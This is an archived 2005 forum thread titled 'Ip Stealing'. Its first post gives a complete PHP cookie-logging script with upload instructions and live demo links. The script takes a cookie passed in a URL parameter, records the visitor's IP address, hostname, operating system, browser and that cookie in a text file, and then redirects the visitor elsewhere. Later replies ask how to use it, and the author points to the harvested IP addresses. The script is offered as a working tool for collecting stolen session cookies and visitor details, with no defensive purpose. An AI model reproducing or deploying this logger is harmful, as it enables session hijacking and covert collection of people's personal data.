PDA

View Full Version : Ip Stealing


carlo
10-12-2005, 02:05 PM
First of all make a cookie.php and a jacked.txt

The in the cookie.php put in this code:


<?

$logBestand="jacked.txt";

$cookie = $HTTP_GET_VARS["w00t"];
$cookie = rawurldecode($cookie);

$Datum = date("d-m / H:i:s");
$IPadres = $_SERVER['REMOTE_ADDR'];
$Hostnaamnaam = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$http_browser = getenv("HTTP_USER_AGENT");
//OS
if (preg_match("/windows nt 5.1/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/windows xp/i",$http_browser)) $Operating_system =
"Windows XP";
if (preg_match("/linux/i",$http_browser)) $Operating_system = "Linux";
if (preg_match("/macintosh/i",$http_browser)) $Operating_system =
"Macintosh";
if (preg_match("/win 9x 4.90/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows me/i",$http_browser)) $Operating_system =
"Windows Me";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if (preg_match("/windows 2000/i",$http_browser)) $Operating_system=
"Windows 2000";
if (preg_match("/windows nt 3.1/i",$http_browser)) $Operating_system =
"Windows 3.1";
if (preg_match("/windows nt 3.5.0/i",$http_browser)) $Operating_system =
"Windows NT 3.5";
if (preg_match("/windows nt 3.5.1/i",$http_browser)) $Operating_system =
"Windows NT 3.5.1";
if (preg_match("/windows nt 4.0/i",$http_browser)) $Operating_system =
"Windows NT 4.0";
if (preg_match("/windows 98/i",$http_browser)) $Operating_system =
"Windows 98";
if (preg_match("/windows 95/i",$http_browser)) $Operating_system =
"Windows 95";
if (preg_match("/sunos/i",$http_browser)) $Operating_system = "SunOS";
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =
"Windows 2000";
if ($Operating_system == "") $Operating_system = "Onbekend";
//browsers
if (preg_match("/Opera/i",$http_browser)) $browser = "Opera";
if (preg_match("/MSIE 6/i",$http_browser)) $browser = "Internet Explorer 6";
if (preg_match("/MSIE 5.5/i",$http_browser)) $browser = "Internet
Explorer 5.5";
if (preg_match("/MSIE 5.0/i",$http_browser)) $browser = "Internet
Explorer 5";
if (preg_match("/MSIE 4/i",$http_browser)) $browser = "Internet Explorer 4";
if (preg_match("/Netscape/7.0/i",$http_browser)) $browser = "Netscape 7";
if (preg_match("/Mozilla/5.0/i",$http_browser)) $browser = "Netscape 6";
if (preg_match("/Mozilla/4.7/i",$http_browser)) $browser = "Netscape 4.7";
if (preg_match("/Mozilla/4.6/i",$http_browser)) $browser = "Netscape 4.6";
if (preg_match("/Mozilla/4.5/i",$http_browser)) $browser = "Netscape 4.5";
if (preg_match("/rv:1.4/i",$http_browser)) $browser = "Mozilla 1.4";
if (preg_match("/rv:1.5a/i",$http_browser)) $browser = "Mozilla 1.5a";
if (preg_match("/rv:1.5/i",$http_browser)) $browser = "Mozilla 1.5";
if (preg_match("/Galeon/i",$http_browser)) $browser = "Galeon";
if (preg_match("/Konqueror/i",$http_browser)) $browser = "Konqueror";
if ($browser == "") $browser = "Onbekend";

$loggen=fopen($logBestand, "a");
fwrite($loggen, "Datum / Tijd : $Datum\r\nIP-adres :
$IPadres\r\nHostnaam : $Hostnaamnaam\r\nBesturingssysteem :
$Operating_system\r\nBrowser : $browser\r\nCookie :
$cookie\r\n==========\r\n");

fclose($loggen);

header("Location: http://www.tahribat.com");
?>




Upload them both to a website. Just so you know you dont have to put anything in the jacked.txt. (cookie.php and jacked.txt)

I have made a demonstration here (http://hxchat.t35.com/cookielogger.php)

And the jack.txt here (http://hxchat.t35.com/jacked.txt)

By the way when you open it ull see some crap what makes u think its wrong but it isnt.

sput
10-26-2005, 04:16 PM
Then what do you do after you have uploaded it to a server?

sput
10-26-2005, 04:25 PM
I did what you said and this is what i get:

http://sputnikradio.com/fun/cookie.php

how is this supposed to work now?

pal
10-28-2005, 12:34 PM
yes how?! what do you do next?!

carlo
10-30-2005, 03:15 PM
Look at all this ip addresses at jacked.txt